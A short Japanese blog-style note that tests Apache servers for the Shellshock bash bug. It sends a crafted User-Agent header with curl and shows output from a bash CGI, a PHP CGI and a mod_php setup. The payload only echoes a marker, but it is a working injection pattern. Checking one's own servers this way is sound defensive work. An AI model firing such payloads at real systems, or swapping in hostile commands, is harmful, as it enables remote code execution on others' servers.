ApacheでPHPスクリプト起動してるけど、モジュール版なら大丈夫っぽい。
Apacheの設定
AddHandler cgi-script .cgi AddHandler php5-script .php
.cgi は環境変数を全部もらえるので、bash(system関数)呼出時に今回の脆弱性に引っかかる。
.php はsystem関数呼出時に環境変数をもらえないので、今回の脆弱性に引っかからない。
$ curl -A "() { :;}; echo Content-type:text/plain;echo; echo ★アウト★;" http://172.16.101.24/test/hoge.cgi
こんな感じでテスト実施。 ★アウト★ が出力されたらアウト
完全にダメなパターン: bashをcgiとして呼び出し
#!/bin/sh echo Content-type:text/plain echo echo "Hello,bash!" export
今回のモロアウトケース。 bashを呼び出してるので当然アウト
★アウト★ Content-type:text/plain Hello,bash! export DOCUMENT_ROOT="/var/www/html" export GATEWAY_INTERFACE="CGI/1.1" export HTTP_ACCEPT="*/*" export HTTP_HOST="172.16.101.24" export OLDPWD export PATH="/sbin:/usr/sbin:/bin:/usr/bin" ・・・(中略)・・・
ほぼダメなパターン: phpをcgiとして呼び出し
#!/usr/bin/php -q <? echo "Content-type:text/plain\n\n"; echo "Hello,PHP!\n"; print_r($_ENV); system("export"); ?>
system関数さえ呼び出さなければセーフ。 system関数が呼び出されると、そこでアウト。
Hello,PHP! Array ( [HTTP_USER_AGENT] => () { :;}; echo Content-type:text/plain;echo; echo ★アウト★; [HTTP_HOST] => 172.16.101.24 [HTTP_ACCEPT] => */* [PATH] => /sbin:/usr/sbin:/bin:/usr/bin ・・・(中略)・・・ [SCRIPT_NAME] => /test/php.cgi ) Content-type:text/plain ★アウト★ export DOCUMENT_ROOT="/var/www/html" export GATEWAY_INTERFACE="CGI/1.1" export HTTP_ACCEPT="*/*" export HTTP_HOST="172.16.101.24" ・・・(中略)・・・
セーフなパターン:.phpを PHPモジュールから呼び出し
<? echo "Content-type:text/plain\n\n"; echo "Hello,PHP!\n"; print_r($_ENV); system("export"); ?>
system関数に環境変数が渡されないので今回の脆弱性とは一応無縁。
Content-type:text/plain Hello,PHP! Array ( [SHELL] => /bin/bash [TERM] => vt100 [HISTSIZE] => 1000 ・・・(中略)・・・ [_] => /usr/sbin/httpd ) export CVS_RSH="ssh" export G_BROKEN_FILENAMES="1" export HISTSIZE="1000" export HOME="/root" ・・・(中略)・・・
参考にさせていただいたページ: